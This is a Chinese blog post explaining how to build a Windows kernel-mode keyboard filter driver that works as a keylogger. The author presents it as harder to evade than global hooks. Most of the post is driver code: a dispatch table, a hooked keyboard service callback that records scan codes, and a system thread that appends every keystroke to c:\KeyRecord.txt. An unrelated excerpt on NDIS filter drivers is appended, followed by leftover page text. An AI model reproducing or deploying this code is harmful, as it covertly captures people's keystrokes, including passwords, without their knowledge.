利用filter driver实现键盘记录

实现键盘记录的方法一般是用全局钩子注入进程,这种方法比较简单,网上有N多文章讨论,不过对于一个高明的程序员来说,仍然可以躲开全局钩子的拦截。而用一个键盘的过滤驱动程序来拦截按键,程序员基本不可能绕开它的拦截。这两天无聊的很,做项目不是很顺,抽了点时间写了个东西。贴在这里灌水,高手们就不要看了。
driver entry是标准的例程,我们这里注册了一些分派函数
NTSTATUS
DriverEntry (
    IN  PDRIVER_OBJECT  DriverObject,
    IN  PUNICODE_STRING RegistryPath
    )
{
    ULONG i;

    UNREFERENCED_PARAMETER (RegistryPath);

    // 
    // Fill in all the dispatch entry points with the pass through function
    // and the explicitly fill in the functions we are going to intercept
    // 
    for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
        DriverObject->MajorFunction[i] = KbFilter_DispatchPassThrough;
    }

    DriverObject->MajorFunction [IRP_MJ_CREATE] =
    DriverObject->MajorFunction [IRP_MJ_CLOSE] =        KbFilter_CreateClose;
    DriverObject->MajorFunction [IRP_MJ_PNP] =          KbFilter_PnP;
    DriverObject->MajorFunction [IRP_MJ_POWER] =        KbFilter_Power;
    DriverObject->MajorFunction [IRP_MJ_INTERNAL_DEVICE_CONTROL] =
                                                        KbFilter_InternIoCtl;
    DriverObject->MajorFunction [IRP_MJ_SHUTDOWN]=KbFilter_DispatchShutdown;                               
    
   
    DriverObject->DriverUnload = KbFilter_Unload;
    DriverObject->DriverExtension->AddDevice = KbFilter_AddDevice;

    return STATUS_SUCCESS;
}
注册KbFilter_DispatchShutdown是为了在系统shutdown的时候获得通知,做些处理。
基本上所有的irp 都通过KbFilter_DispatchPassThrough传递到下层的驱动处理,一些ioctol irp也只是简单的 return一个nt status,我并不关心这些东西,需要传递的irp传递给下层驱动处理,这个filter本身基本不做任何处理,关键的部分在 KbFilter_CreateClose里面创建一个文件用于记录按键,代码如下:
  RtlInitUnicodeString(&devExt->RecordFileName,L"//DosDevices//c://KeyRecord.txt");
           /*NOTE:lzp--2005-4-9---
           * OBJ_KERNEL_HANDLE must be set, otherwise, the zwwritefile will failed
           */
         InitializeObjectAttributes(&ObjectAttri,&devExt->RecordFileName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,
     NULL,NULL);
    
     //create or open the file
     status=ZwCreateFile(
&devExt->RecordFileHandle,
FILE_APPEND_DATA|SYNCHRONIZE,
&ObjectAttri,
&IoStatusBlock,
NULL,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_WRITE|FILE_SHARE_READ,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
      if (!NT_SUCCESS(status)) {
      DbgPrint("ZwCreateFile failed/n");
     //IoDeleteDevice(device);
         return (status);
     }
所有的按键都保存在这个文件中,当有按键时候,会出发中断,最终调用VOID
KbFilter_ServiceCallback(
    IN PDEVICE_OBJECT DeviceObject,
    IN PKEYBOARD_INPUT_DATA InputDataStart,
    IN PKEYBOARD_INPUT_DATA InputDataEnd,
    IN OUT PULONG InputDataConsumed
    )这个函数来处理按键,通过hook这个callback,实现自己的功能,我在device_extension里开了个一个缓冲区用来记录按键,每记录100个按键,写一次文件;这部分都是在KbFilter_ServiceCallback实现的
PDEVICE_EXTENSION   devExt;

    devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;
    ProcessScanCode(InputDataStart,
         InputDataEnd,devExt);

    (*(PSERVICE_CALLBACK_ROUTINE) devExt->UpperConnectData.ClassService)(
        devExt->UpperConnectData.ClassDeviceObject,
        InputDataStart,
        InputDataEnd,
        InputDataConsumed);
首先调用ProcessScanCode来记录按键,接着调用上层驱动的callback函数,把数据交给它们处理。
processscancode根据scan code转换为字符,保存在buffer中,每当记录了100个按键后,就调用
NTSTATUS
StoreKeyToFile(PDEVICE_EXTENSION   devExt)
{

NTSTATUS status=STATUS_SUCCESS;


//DbgPrint("IRQL:%d/n",KeGetCurrentIrql());

DbgPrint("Enter the StoreKeyToFile Routine/n");

     devExt->KeyBuffer[index++]='/n';

     KeSetEvent(&devExt->BeginWriteEvent,0,FALSE);
     index=0;
    
    
     return status;
  }
把数据写入文件。由于此时IRQL是2(dispatch level irql),而zwwritefile只能在passive_level调用,为此专门实现了一个系统线程来做写文件的工作。系统线程在KbFilter_CreateClose 中创建:
// create system thread for write key value to file
     status = PsCreateSystemThread(&ThreadHandle,
     THREAD_ALL_ACCESS,
NULL,
NULL,
NULL,
(PKSTART_ROUTINE) WriteThreadProc,
devExt);
    if (!NT_SUCCESS(status))
     return status;
    ObReferenceObjectByHandle(ThreadHandle,
    THREAD_ALL_ACCESS,
    NULL,
    KernelMode,
    (PVOID*) &devExt->WriteThread,
    NULL);
     ZwClose(ThreadHandle);
         并初始化两个event:
 //initialize event object
         KeInitializeEvent(&devExt->BeginWriteEvent,
          NotificationEvent, FALSE);
KeInitializeEvent(&devExt->ExitEvent,
          NotificationEvent, FALSE);
这两个event一个用于通知系统线程开始写文件,一个通知系统线程终止。每当buffer中保存了100个字符时候在storekeytofile里面就通过KeSetEvent(&devExt->BeginWriteEvent,0,FALSE)来唤醒系统线程开始写文件。系统线程代码入下:
VOID WriteThreadProc(PDEVICE_EXTENSION pdx)
{
NTSTATUS status;
IO_STATUS_BLOCK         IoStatusBlock;

PVOID ThreadEvent[]=
{
(PVOID) &pdx->BeginWriteEvent,
(PVOID) &pdx->ExitEvent,
};

//DbgPrint("Enter WriteThread/n");//debug only

while(TRUE){
DbgPrint("begin wait/n");
status=KeWaitForMultipleObjects(2,ThreadEvent,WaitAny,
Executive,KernelMode,
FALSE,NULL,NULL);

if(!NT_SUCCESS(status)){
DbgPrint("error--KeWaitxxx/n");

goto exit;
}

if(status==STATUS_TIMEOUT){
DbgPrint("Timeout/n");

goto exit;
}

if(status == STATUS_WAIT_0){
DbgPrint("Begin Write/n");
 KeClearEvent(&pdx->BeginWriteEvent);

status=ZwWriteFile(pdx->RecordFileHandle,
NULL,
NULL,
NULL,
&IoStatusBlock,
(UCHAR*)pdx->KeyBuffer,
100,
NULL,//&BufOffset,
NULL);
if (!NT_SUCCESS(status)) {
DbgPrint("Error in ZwWriteFile:%u/n",status);
      }
      // KeStallExecutionProcessor(100);
     
 }else if(status == STATUS_WAIT_1){
      DbgPrint("Terminate/n");
      KeClearEvent(&pdx->ExitEvent);
      
      goto exit;
     
  //PsTerminateSystemThread(STATUS_SUCCESS);
 }else{
      DbgPrint("Error--thread proc/n");
      
      goto exit;
 }
}
exit:
PsTerminateSystemThread(STATUS_SUCCESS);
}
它一创建就进入一个while(TRUE)循环,调用kewaitformultipleobjects来睡眠,等待唤醒。如果是beginwriteevent唤醒的就写文件,如果是exitevent唤醒的就终止运行。
当系统shutdown的时候,可能buffer中的字符不到100个,则不会调用系统线程写文件,我本来的考虑是注册个shutdwon例程,在 KbFilter_DispatchShutdown中把所有buffer中的数据都写到文件中。但是调试后发现这个写文件的操作从来没有成功过,不知道什么原因。此外,更加诡异的是,在系统boot的时候会发送IRP_MJ_CLOSE irp给驱动,结果close例程被调用,这极其奇怪。不过好在每什么影响,没时间了,懒得debug它。
至于为什么KbFilter_DispatchShutdown写文件不成功,不知道哪位大虾了解,麻烦指教。我觉得可能是shutdwon的时候irql不是passive_level或者文件系统驱动已经在键盘驱动之前unload了。不是很清楚。

Filter Drivers主要包括以下特性:   1) 一个Filter Drivers实例叫Filter Module。Filter Module附加在一个适配器的微端口驱动上, 来自相同或不同Filter Drivers的多个Filter Module都可以被堆叠在一个网络适配器上   2) 在Filter Module被安装到驱动栈时,之上的协议驱动和之下的微端口驱动都不需要提供额外的支持功能   3) 因为Filter Module不像中间层驱动(intermediate driver)那样提供一个虚拟的微口,也不与某个设备对象联结,所以在微端口适配器(miniport adapter)之上的Filter Module 功能相当于一个修过过版本的微端口适配器(miniport adapter)。(原文:Because filter drivers do not implement virtual miniports like an intermediate driverfilter drivers are not associated with a device object. A miniport adapter with overlying filter modules functions as a modified version of the miniport adapter.)   4) NDIS使用配置信息来到决定一个Filter Module附加到一个网络适配器栈上的顺序   5) 在不用拆除整驱动栈的情况下,NDIS可以动态的插入、删除Filter Module或进行重新配置   6) 当NDIS重起驱动栈的时候协议驱动可以获得在栈上的Filter Module列表   7) Filter Drivers可以过滤下层网络适配器上绝大部分的通信。Filter Module不联结某特定的绑定(Filter modules are not associated with any particular binding between overlying protocol drivers and the miniport adapter.)   8) Filter Drivers 可以选择为过滤服务也可以选择为分流的不过滤服务,选择为哪一种是可以动态配置的(Filter drivers can select the services that are filtered and can be bypassed for the services that are not filtered. The selection of the services that are bypassed and the services that are filtered can be reconfigured dynamically.)   9) NDIS 保证有效的上下文空间,也不就是说Filter Drivers不要需要通代码COPY缓冲区来获得上下文空间  
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值